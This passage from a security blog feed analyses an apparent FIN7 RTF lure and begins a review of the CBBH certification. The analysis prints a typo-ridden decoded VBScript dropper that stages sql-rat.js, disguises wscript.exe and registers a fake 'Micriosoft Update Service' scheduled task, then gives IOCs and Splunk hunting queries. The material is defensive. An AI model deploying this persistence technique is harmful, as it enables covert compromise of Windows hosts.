<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#f92672">import</span> re
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> sys
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> len(sys<span style="color:#f92672">.</span>argv) <span style="color:#f92672">!=</span> <span style="color:#ae81ff">2</span>:
</span></span><span style="display:flex;"><span>    print(<span style="color:#e6db74">f</span><span style="color:#e6db74">&#34;Usage: </span><span style="color:#e6db74">{</span>sys<span style="color:#f92672">.</span>argv[<span style="color:#ae81ff">0</span>]<span style="color:#e6db74">}</span><span style="color:#e6db74"> &lt;rtf_file&gt;&#34;</span>)
</span></span><span style="display:flex;"><span>    sys<span style="color:#f92672">.</span>exit(<span style="color:#ae81ff">1</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>rtf_file <span style="color:#f92672">=</span> sys<span style="color:#f92672">.</span>argv[<span style="color:#ae81ff">1</span>]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Read file</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">with</span> open(rtf_file, <span style="color:#e6db74">&#34;r&#34;</span>, errors<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;ignore&#34;</span>) <span style="color:#66d9ef">as</span> f:
</span></span><span style="display:flex;"><span>    data <span style="color:#f92672">=</span> f<span style="color:#f92672">.</span>read()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Find all chr(...) patterns including math expressions</span>
</span></span><span style="display:flex;"><span>matches <span style="color:#f92672">=</span> re<span style="color:#f92672">.</span>findall(<span style="color:#e6db74">r</span><span style="color:#e6db74">&#34;chr\s*\(\s*([0-9+\-*/\s]+)\s*\)&#34;</span>, data, flags<span style="color:#f92672">=</span>re<span style="color:#f92672">.</span>IGNORECASE)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>decoded <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> expr <span style="color:#f92672">in</span> matches:
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">try</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#75715e"># Evaluate math expression safely (integers only)</span>
</span></span><span style="display:flex;"><span>        value <span style="color:#f92672">=</span> int(eval(expr))
</span></span><span style="display:flex;"><span>        decoded <span style="color:#f92672">+=</span> chr(value)
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">except</span> <span style="color:#a6e22e">Exception</span> <span style="color:#66d9ef">as</span> e:
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">pass</span>  <span style="color:#75715e"># Skip any malformed chr() entries</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>print(decoded)
</span></span></code></pre></div><p>Running our custom Python code give us the following output.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>kali@kali:~/Desktop$ python3 decode_rtf_chr.py 2-list.rtf 
</span></span><span style="display:flex;"><span>Dim cntent1, contnt2
</span></span><span style="display:flex;"><span>Dim oFSO, oFSO3strAppata, wshShel
</span></span><span style="display:flex;"><span>Set wshShel <span style="color:#f92672">=</span> CreateObject<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;Wscript.hell&#34;</span><span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>Set  <span style="color:#f92672">=</span> GetObject,<span style="color:#e6db74">&#34;Word.Appliation&#34;</span><span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>contnt1 <span style="color:#f92672">=</span> w.ActiveDocument.Shapes<span style="color:#f92672">(</span>4<span style="color:#f92672">)</span>.TextFrame.TextRang.Text
</span></span><span style="display:flex;"><span>content <span style="color:#f92672">=</span> w.ActiveDocument.Shaps<span style="color:#f92672">(</span>5<span style="color:#f92672">)</span>.TextFrae.TextRange.Text
</span></span><span style="display:flex;"><span>Set oFSO  CreateObject<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;ScriptingFileSystemObect&#34;</span><span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>Set oFO2 <span style="color:#f92672">=</span> CreateOject<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;Scripting.FileSysteObject&#34;</span><span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>strocalAppData  wshShell.ExandEnvironmetStrings<span style="color:#f92672">(</span> <span style="color:#e6db74">&#34;%LOCALAPPDATA% ) + &#34;</span><span style="color:#ae81ff">\&#34;</span>
</span></span><span style="display:flex;"><span>outile <span style="color:#f92672">=</span> strLocalAppData + <span style="color:#e6db74">&#34;sql-rat.js&#34;</span>
</span></span><span style="display:flex;"><span>Set objFile <span style="color:#f92672">=</span> oFSO.CreateTxtFile<span style="color:#f92672">(</span>outFie,True<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>objFle.WriteLinecontent1
</span></span><span style="display:flex;"><span>objFile.WriteLin content2
</span></span><span style="display:flex;"><span>obFile.Close
</span></span><span style="display:flex;"><span>oSO2.CopyFile<span style="color:#e6db74">&#34;C:\Windows\System32\wscrit.exe&#34;</span>, strLocalAppData + <span style="color:#e6db74">&#34;adb156.exe
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">Dim serviceSet service  CreateObjec(&#34;</span>Schedule.Srvice<span style="color:#e6db74">&#34;)
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">Call service.Connct()
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">Dim rootFolder, taskefinition, regInfo
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">Set rootFolder = service.GetFoldr(&#34;</span><span style="color:#ae81ff">\&#34;</span><span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>Set taskDefinition <span style="color:#f92672">=</span> service.NeTask<span style="color:#f92672">(</span>0<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>Set egInfo <span style="color:#f92672">=</span> taskDefinition.ReistrationInfo
</span></span><span style="display:flex;"><span>regInfo.Description <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;icriosoft Upate Service&#34;</span>regInfo.Authr <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;system&#34;</span>Dim settings triggers, tigger
</span></span><span style="display:flex;"><span>Set settings <span style="color:#f92672">=</span> taskefinition.settings
</span></span><span style="display:flex;"><span>setting.Enabled <span style="color:#f92672">=</span> Tue
</span></span><span style="display:flex;"><span>settings.StartWhenAvaiable <span style="color:#f92672">=</span> True
</span></span><span style="display:flex;"><span>settings.Hiden <span style="color:#f92672">=</span> False
</span></span><span style="display:flex;"><span>Set triggers <span style="color:#f92672">=</span>taskDefinitin.triggers
</span></span><span style="display:flex;"><span>St trigger <span style="color:#f92672">=</span> triggers.Crete<span style="color:#f92672">(</span>2<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>Dim curTime
</span></span><span style="display:flex;"><span>Dim strtTime, endTme
</span></span><span style="display:flex;"><span>Dim datevalue, timevalue, dtsvalue
</span></span><span style="display:flex;"><span>tsnow <span style="color:#f92672">=</span> Datedd<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;n&#34;</span>, 5, Now<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>dd <span style="color:#f92672">=</span> Righ<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;00&#34;</span> &amp; Day<span style="color:#f92672">(</span>tsnow<span style="color:#f92672">)</span>, 2<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>m <span style="color:#f92672">=</span> Right<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;00 &amp; Month(dtsnow), 2)
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">yy = Year(dtsnow)hh = Right(&#34;</span>0<span style="color:#e6db74">&#34; &amp; Hour(dtnow), 2)
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">nn  Right(&#34;</span>00<span style="color:#e6db74">&#34; &amp; Minute(dtsnw), 2)
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">ss = ight(&#34;</span>00<span style="color:#e6db74">&#34; &amp; econd(dtsnow, 2)
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">datevale = yy &amp; &#34;</span>-<span style="color:#e6db74">&#34;&amp; mm &amp; &#34;</span>-<span style="color:#e6db74">&#34; &amp; dd
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">timevalu = hh &amp; &#34;</span>:<span style="color:#e6db74">&#34;  nn &amp; &#34;</span>:<span style="color:#e6db74">&#34; &amp; s
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">dtsvalue =datevalue &amp; &#34;</span>T<span style="color:#e6db74">&#34; &amp; timevale
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">endTime = 2024-04-18T0:10:00&#34;</span>
</span></span><span style="display:flex;"><span>triger.StartBoundry <span style="color:#f92672">=</span> dtsvalu
</span></span><span style="display:flex;"><span>trigger.EndBoundary <span style="color:#f92672">=</span> enTime
</span></span><span style="display:flex;"><span>trigger.DaysInterva <span style="color:#f92672">=</span> <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>trigger.ID <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;DailyTrggerId&#34;</span>
</span></span><span style="display:flex;"><span>triger.Enabled <span style="color:#f92672">=</span>True
</span></span><span style="display:flex;"><span>Dim Acton
</span></span><span style="display:flex;"><span>Set Actio <span style="color:#f92672">=</span> taskDefintion.Actions.Create<span style="color:#f92672">(</span>0<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>Set wshShell <span style="color:#f92672">=</span>CreateObject <span style="color:#e6db74">&#34;WScript.Shll&#34;</span> <span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>ActionPath <span style="color:#f92672">=</span> strLoalAppData + adb156.exe<span style="color:#e6db74">&#34;
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">ction.Argumets = &#34;</span>/b /e:script <span style="color:#e6db74">&#34; + strLocalAppData + &#34;</span>sql-rat.s<span style="color:#e6db74">&#34;
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">Call rootolder.RegistrTaskDefiniton(&#34;</span>Micriosot Update Serice<span style="color:#e6db74">&#34;, taskDefinition, 6,  , 3)
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">Dim cntent1, contnt2
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">Dim oFSO, oFSO3strAppata, wshShel
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">Set wshShel = CreateObject(&#34;</span>Wscript.hell<span style="color:#e6db74">&#34;)
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">Set  = GetObject,&#34;</span>Word.Appliation<span style="color:#e6db74">&#34;)
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">contnt1 = w.ActiveDocument.Shapes(4).TextFrame.TextRang.Text
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">content = w.ActiveDocument.Shaps(5).TextFrae.TextRange.Text
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">Set oFSO  CreateObject(&#34;</span>ScriptingFileSystemObect<span style="color:#e6db74">&#34;)
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">Set oFO2 = CreateOject(&#34;</span>Scripting.FileSysteObject<span style="color:#e6db74">&#34;)
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">strocalAppData  wshShell.ExandEnvironmetStrings( &#34;</span>%LOCALAPPDATA% <span style="color:#f92672">)</span> + <span style="color:#e6db74">&#34;\&#34;
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">outile = strLocalAppData + &#34;</span>sql-rat.js<span style="color:#e6db74">&#34;
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">Set objFile = oFSO.CreateTxtFile(outFie,True)
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">objFle.WriteLinecontent1
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">objFile.WriteLin content2
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">obFile.Close
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">oSO2.CopyFile&#34;</span>C:<span style="color:#ae81ff">\W</span>indows<span style="color:#ae81ff">\S</span>ystem32<span style="color:#ae81ff">\w</span>scrit.exe<span style="color:#e6db74">&#34;, strLocalAppData + &#34;</span>adb156.exe
</span></span><span style="display:flex;"><span>Dim serviceSet service  CreateObjec<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;Schedule.Srvice&#34;</span><span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>Call service.Connct<span style="color:#f92672">()</span>
</span></span><span style="display:flex;"><span>Dim rootFolder, taskefinition, regInfo
</span></span><span style="display:flex;"><span>Set rootFolder <span style="color:#f92672">=</span> service.GetFoldr<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;\&#34;)
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">Set taskDefinition = service.NeTask(0)
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">Set egInfo = taskDefinition.ReistrationInfo
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">regInfo.Description = &#34;</span>icriosoft Upate Service<span style="color:#e6db74">&#34;regInfo.Authr = &#34;</span>system<span style="color:#e6db74">&#34;Dim settings triggers, tigger
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">Set settings = taskefinition.settings
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">setting.Enabled = Tue
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">settings.StartWhenAvaiable = True
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">settings.Hiden = False
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">Set triggers =taskDefinitin.triggers
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">St trigger = triggers.Crete(2)
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">Dim curTime
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">Dim strtTime, endTme
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">Dim datevalue, timevalue, dtsvalue
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">tsnow = Datedd(&#34;</span>n<span style="color:#e6db74">&#34;, 5, Now)
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">dd = Righ(&#34;</span>00<span style="color:#e6db74">&#34; &amp; Day(tsnow), 2)
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">m = Right(&#34;</span><span style="color:#ae81ff">00</span> &amp; Month<span style="color:#f92672">(</span>dtsnow<span style="color:#f92672">)</span>, 2<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>yy <span style="color:#f92672">=</span> Year<span style="color:#f92672">(</span>dtsnow<span style="color:#f92672">)</span>hh <span style="color:#f92672">=</span> Right<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;0&#34;</span> &amp; Hour<span style="color:#f92672">(</span>dtnow<span style="color:#f92672">)</span>, 2<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>nn  Right<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;00&#34;</span> &amp; Minute<span style="color:#f92672">(</span>dtsnw<span style="color:#f92672">)</span>, 2<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>ss <span style="color:#f92672">=</span> ight<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;00&#34;</span> &amp; econd<span style="color:#f92672">(</span>dtsnow, 2<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>datevale <span style="color:#f92672">=</span> yy &amp; <span style="color:#e6db74">&#34;-&#34;</span>&amp; mm &amp; <span style="color:#e6db74">&#34;-&#34;</span> &amp; dd
</span></span><span style="display:flex;"><span>timevalu <span style="color:#f92672">=</span> hh &amp; <span style="color:#e6db74">&#34;:&#34;</span>  nn &amp; <span style="color:#e6db74">&#34;:&#34;</span> &amp; s
</span></span><span style="display:flex;"><span>dtsvalue <span style="color:#f92672">=</span>datevalue &amp; <span style="color:#e6db74">&#34;T&#34;</span> &amp; timevale
</span></span><span style="display:flex;"><span>endTime <span style="color:#f92672">=</span> 2024-04-18T0:10:00<span style="color:#e6db74">&#34;
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">triger.StartBoundry = dtsvalu
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">trigger.EndBoundary = enTime
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">trigger.DaysInterva = 1
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">trigger.ID = &#34;</span>DailyTrggerId<span style="color:#e6db74">&#34;
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">triger.Enabled =True
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">Dim Acton
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">Set Actio = taskDefintion.Actions.Create(0)
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">Set wshShell =CreateObject &#34;</span>WScript.Shll<span style="color:#e6db74">&#34; )
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">ActionPath = strLoalAppData + adb156.exe&#34;</span>
</span></span><span style="display:flex;"><span>ction.Argumets <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;/b /e:script &#34;</span> + strLocalAppData + <span style="color:#e6db74">&#34;sql-rat.s&#34;</span>
</span></span><span style="display:flex;"><span>Call rootolder.RegistrTaskDefiniton<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;Micriosot Update Serice&#34;</span>, taskDefinition, 6,  , 3<span style="color:#f92672">)</span>
</span></span></code></pre></div><h3 id="what-happened">What happened</h3>
<p>A malicious RTF embedded:</p>
<ul>
<li>A Windows shortcut (LNK) that leads to script execution</li>
<li>Obfuscated VBScript encoded as <code>chr()</code> arithmetic</li>
</ul>
<p>When decoded and executed, the script:</p>
<ul>
<li>Writes a staged JavaScript payload to <code>%LOCALAPPDATA%</code> as <code>sql-rat.js</code></li>
<li>Copies <code>wscript.exe</code> to <code>%LOCALAPPDATA%</code> as <code>adb156.exe</code> to blend in</li>
<li>Creates a Scheduled Task named “Micrisoft Update Service” to persist and run the payload</li>
</ul>
<h3 id="why-this-works">Why this works</h3>
<ul>
<li>RTFs can carry embedded objects that many users will open</li>
<li>LOLBINs like <code>mshta.exe</code> and <code>wscript.exe</code> are trusted, often bypassing naive allowlists</li>
<li>Scheduled Tasks provide quiet, durable persistence in user context</li>
</ul>
<h3 id="iocs">IOCs</h3>
<ul>
<li>Sample hash: <code>ce08cc99d0827bd9d900cf2e2e26aed3e17ae4f80b010eb6642b9578b3627cf4</code></li>
<li>Files and paths:
<ul>
<li><code>%LOCALAPPDATA%\sql-rat.js</code></li>
<li><code>%LOCALAPPDATA%\adb156.exe</code></li>
<li><code>C:\Windows\System32\mshta.exe</code></li>
</ul>
</li>
<li>Scheduled Task: <code>Micrisoft Update Service</code></li>
<li>Process patterns:
<ul>
<li><code>mshta.exe</code> spawning script engines</li>
<li><code>wscript.exe</code> executed from user-writable paths</li>
</ul>
</li>
</ul>
<h3 id="what-to-hunt-for-splunk-snippets">What to hunt for (Splunk snippets)</h3>
<ul>
<li>mshta spawning interpreters:</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span><span style="color:#a6e22e">index</span><span style="color:#f92672">=</span><span style="color:#a6e22e">win</span><span style="color:#f92672">*</span> (<span style="color:#a6e22e">process_name</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;mshta.exe&#34;</span> <span style="color:#a6e22e">OR</span> <span style="color:#a6e22e">parent_process_name</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;mshta.exe&#34;</span>)
</span></span><span style="display:flex;"><span><span style="color:#f92672">|</span> <span style="color:#a6e22e">stats</span> <span style="color:#a6e22e">values</span>(<span style="color:#a6e22e">child_process_name</span>) <span style="color:#a6e22e">as</span> <span style="color:#a6e22e">children</span> <span style="color:#a6e22e">by</span> <span style="color:#a6e22e">host</span> <span style="color:#a6e22e">user</span> <span style="color:#a6e22e">parent_process_path</span> <span style="color:#a6e22e">process_command_line</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">|</span> <span style="color:#a6e22e">where</span> <span style="color:#a6e22e">mvfind</span>(<span style="color:#a6e22e">children</span>, <span style="color:#e6db74">&#34;wscript.exe|cscript.exe|powershell.exe|cmd.exe&#34;</span>)<span style="color:#f92672">&gt;=</span><span style="color:#ae81ff">0</span>
</span></span></code></pre></div><ul>
<li>Script engines from user profile locations:</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span><span style="color:#a6e22e">index</span><span style="color:#f92672">=</span><span style="color:#a6e22e">win</span><span style="color:#f92672">*</span> <span style="color:#a6e22e">process_name</span> <span style="color:#a6e22e">IN</span> (<span style="color:#e6db74">&#34;wscript.exe&#34;</span>,<span style="color:#e6db74">&#34;cscript.exe&#34;</span>,<span style="color:#e6db74">&#34;mshta.exe&#34;</span>,<span style="color:#e6db74">&#34;powershell.exe&#34;</span>)
</span></span><span style="display:flex;"><span><span style="color:#f92672">|</span> <span style="color:#a6e22e">where</span> <span style="color:#a6e22e">like</span>(<span style="color:#a6e22e">process_path</span>, <span style="color:#e6db74">&#34;%\\Users\\%&#34;</span>) <span style="color:#a6e22e">OR</span> <span style="color:#a6e22e">like</span>(<span style="color:#a6e22e">process_path</span>, <span style="color:#e6db74">&#34;%\\AppData\\Local%&#34;</span>) <span style="color:#a6e22e">OR</span> <span style="color:#a6e22e">like</span>(<span style="color:#a6e22e">process_path</span>, <span style="color:#e6db74">&#34;%\\AppData\\Roaming%&#34;</span>)
</span></span></code></pre></div><ul>
<li>Suspicious Scheduled Tasks (creation or presence):</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span><span style="color:#a6e22e">index</span><span style="color:#f92672">=</span><span style="color:#a6e22e">win</span><span style="color:#f92672">*</span> <span style="color:#a6e22e">EventCode</span><span style="color:#f92672">=</span><span style="color:#ae81ff">4698</span> <span style="color:#a6e22e">OR</span> (<span style="color:#a6e22e">source</span><span style="color:#f92672">=</span><span style="color:#a6e22e">Sysmon</span> <span style="color:#a6e22e">EventCode</span><span style="color:#f92672">=</span><span style="color:#ae81ff">1</span> <span style="color:#a6e22e">process_command_line</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;*Schedule.Service*&#34;</span>)
</span></span><span style="display:flex;"><span><span style="color:#f92672">|</span> <span style="color:#a6e22e">search</span> <span style="color:#a6e22e">TaskName</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;*Update*&#34;</span> <span style="color:#a6e22e">OR</span> <span style="color:#a6e22e">TaskName</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;*Micrisoft*&#34;</span>
</span></span></code></pre></div><ul>
<li>Writes to LocalAppData with suspicious names:</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span><span style="color:#a6e22e">index</span><span style="color:#f92672">=</span><span style="color:#a6e22e">win</span><span style="color:#f92672">*</span> <span style="color:#a6e22e">source</span><span style="color:#f92672">=</span><span style="color:#a6e22e">Sysmon</span> <span style="color:#a6e22e">EventCode</span><span style="color:#f92672">=</span><span style="color:#ae81ff">11</span> <span style="color:#a6e22e">TargetFilename</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;*\\AppData\\Local\\*&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">|</span> <span style="color:#a6e22e">regex</span> <span style="color:#a6e22e">TargetFilename</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;.*(adb[0-9]{3}\.exe|sql\-rat\.js)$&#34;</span>
</span></span></code></pre></div><h3 id="quick-response-checklist">Quick response checklist</h3>
<ul>
<li>Quarantine the host and remove the Scheduled Task</li>
<li>Delete sql-rat.js and adb156.exe from LocalAppData</li>
<li>Investigate parent process chain starting from the document opener and mshta.exe</li>
<li>Review other endpoints for the same hash, task name, and file paths</li>
<li>Rotate user credentials if any script had credential access</li>
</ul>
<h3 id="conclusion">Conclusion</h3>
<p>FIN7’s initial access hinges on familiar building blocks: a booby-trapped document, LOLBIN execution, and scheduled persistence. Small typos and user-writable paths are your tells. In the next post, I will cover how the payload establishes command and control and how to hunt for it effectively.</p>
]]></content></item><item><title>CBBH Review</title><link>https://blog.redteamshell.com/posts/2025/08/cbbh-review/</link><pubDate>Wed, 13 Aug 2025 04:21:58 -0400</pubDate><guid>https://blog.redteamshell.com/posts/2025/08/cbbh-review/</guid><description>&lt;p>&lt;img src="https://blog.redteamshell.com/images/cbbh_intro_img.png" alt="Intro Picture">&lt;/p>
&lt;h2 id="a-clear-overview-of-the-cbbh-certification">A Clear Overview of the CBBH Certification&lt;/h2>
&lt;p>In this post, I’ll share my experience with the HTB Certified Bug Bounty Hunter (CBBH) certification. Whether you’re new to web penetration testing or already familiar with CBBH, there’s something here for everyone.&lt;/p>
&lt;hr>
&lt;h3 id="what-is-web-application-penetration-testing-and-bug-bounty-hunting">What is Web Application Penetration Testing and Bug Bounty Hunting?&lt;/h3>
&lt;p>Web Application Penetration Testing is the practice of assessing the security of web applications by simulating real-world attacks. The goal is to identify vulnerabilities such as SQL injection, XSS, authentication bypass, and more, before malicious actors can exploit them.&lt;/p></description><content type="html"><![CDATA[<p><img src="/images/cbbh_intro_img.png" alt="Intro Picture"></p>
<h2 id="a-clear-overview-of-the-cbbh-certification">A Clear Overview of the CBBH Certification</h2>
<p>In this post, I’ll share my experience with the HTB Certified Bug Bounty Hunter (CBBH) certification. Whether you’re new to web penetration testing or already familiar with CBBH, there’s something here for everyone.</p>
<hr>
<h3 id="what-is-web-application-penetration-testing-and-bug-bounty-hunting">What is Web Application Penetration Testing and Bug Bounty Hunting?</h3>
<p>Web Application Penetration Testing is the practice of assessing the security of web applications by simulating real-world attacks. The goal is to identify vulnerabilities such as SQL injection, XSS, authentication bypass, and more, before malicious actors can exploit them.</p>
<p>Bug Bounty Hunting, on the other hand, is a legal and coordinated process where independent security researchers find and report security vulnerabilities to organizations in exchange for rewards. It’s an excellent way to improve security skills while earning recognition or monetary compensation.</p>
<hr>
<h3 id="what-is-the-cbbh-certification">What is the CBBH Certification?</h3>
<p><img src="/images/cbbh_img5.png" alt="Fifth Img"></p>
<p>The <strong>Certified Bug Bounty Hunter (CBBH)</strong> is an intermediate-level certification from Hack The Box that focuses on practical, hands-on skills for web application security testing and bug bounty hunting.</p>
<p>As with all HTB certifications, <strong>completion of the associated learning path is mandatory before attempting the exam</strong>. For CBBH, this means completing the <strong>Bug Bounty Hunter</strong> path in HTB Academy which includes <strong>20 modules</strong> with skills assessment to practice the concepts learn in the course.</p>
<hr>
<h3 id="my-review-and-experience">My Review and Experience</h3>
<p><img src="/images/cbbh_img2.jpg" alt="Path Completion"></p>
<h4 id="initial-plan">Initial Plan</h4>
<p>My initial plan was to complete <strong>HTB CDSA</strong> and then take on the exam. However, after finishing the SOC Analyst path, I realized I needed more hands-on practice and to revisit all the modules before attempting the exam. This was mainly due to new concepts introduced in modules like:</p>
<ul>
<li><strong>Introduction to Malware Analysis &amp; DFIR</strong></li>
<li><strong>Threat Hunting</strong> (a field I recently discovered and started to really enjoy)</li>
</ul>
<p>I didn’t want to rush. Instead, I decided to take my time, dive deeper into these topics, and do additional research. I will start a blog series on threat hunting, where I’ll be exploring malware analysis and threat hunting in depth (more on that in my next post).</p>
<h4 id="switching-focus-to-cbbh">Switching Focus to CBBH</h4>
<p>While pursuing those interests, I decided to complete the <strong>Bug Bounty Hunter</strong> path to strengthen my web application penetration testing skills.<br>
At the time, I had already completed about <strong>68% of the path</strong> thanks to my <strong>HTB CPTS</strong> certification, since the Penetration Tester path shares several overlapping modules with CBBH.<br>
This left me with only <strong>6 modules</strong> to complete before being eligible for the exam.</p>
<hr>
<h3 id="my-preparation-strategy">My Preparation Strategy</h3>
<p><img src="/images/cbbh_img3.png" alt="Third Img"></p>
<p>After finishing the path, I created <strong>custom cheat sheets</strong> for each module not just the ones provided by HTB Academy.</p>
<p>These included:</p>
<ul>
<li>Every command used in the module examples</li>
<li>Extra notes from solving skill assessments</li>
<li>Additional commands and techniques from my own research</li>
</ul>
<p>This was incredibly helpful and played a huge role in passing the exam on my <strong>first attempt</strong>.<br>
I highly recommend:</p>
<ol>
<li>Creating <strong>your own cheat sheets</strong></li>
<li>Organizing your notes in Markdown</li>
<li>Keeping each module’s vulnerabilities and techniques handy during the exam</li>
</ol>
<hr>
<h3 id="exam-experience">Exam Experience</h3>
<p>I reviewed all modules again, finalized my notes, and scheduled my exam to start on <strong>July 28th</strong>.</p>
<p>The experience was smooth:</p>
<ul>
<li>No technical issues</li>
<li>Very stable lab environment</li>
</ul>
<p><strong>Tips for the exam:</strong></p>
<ul>
<li>Refer to your notes and modules whenever stuck (I did this multiple times, and it saved me)</li>
<li>Take breaks and clear your mind when frustrated</li>
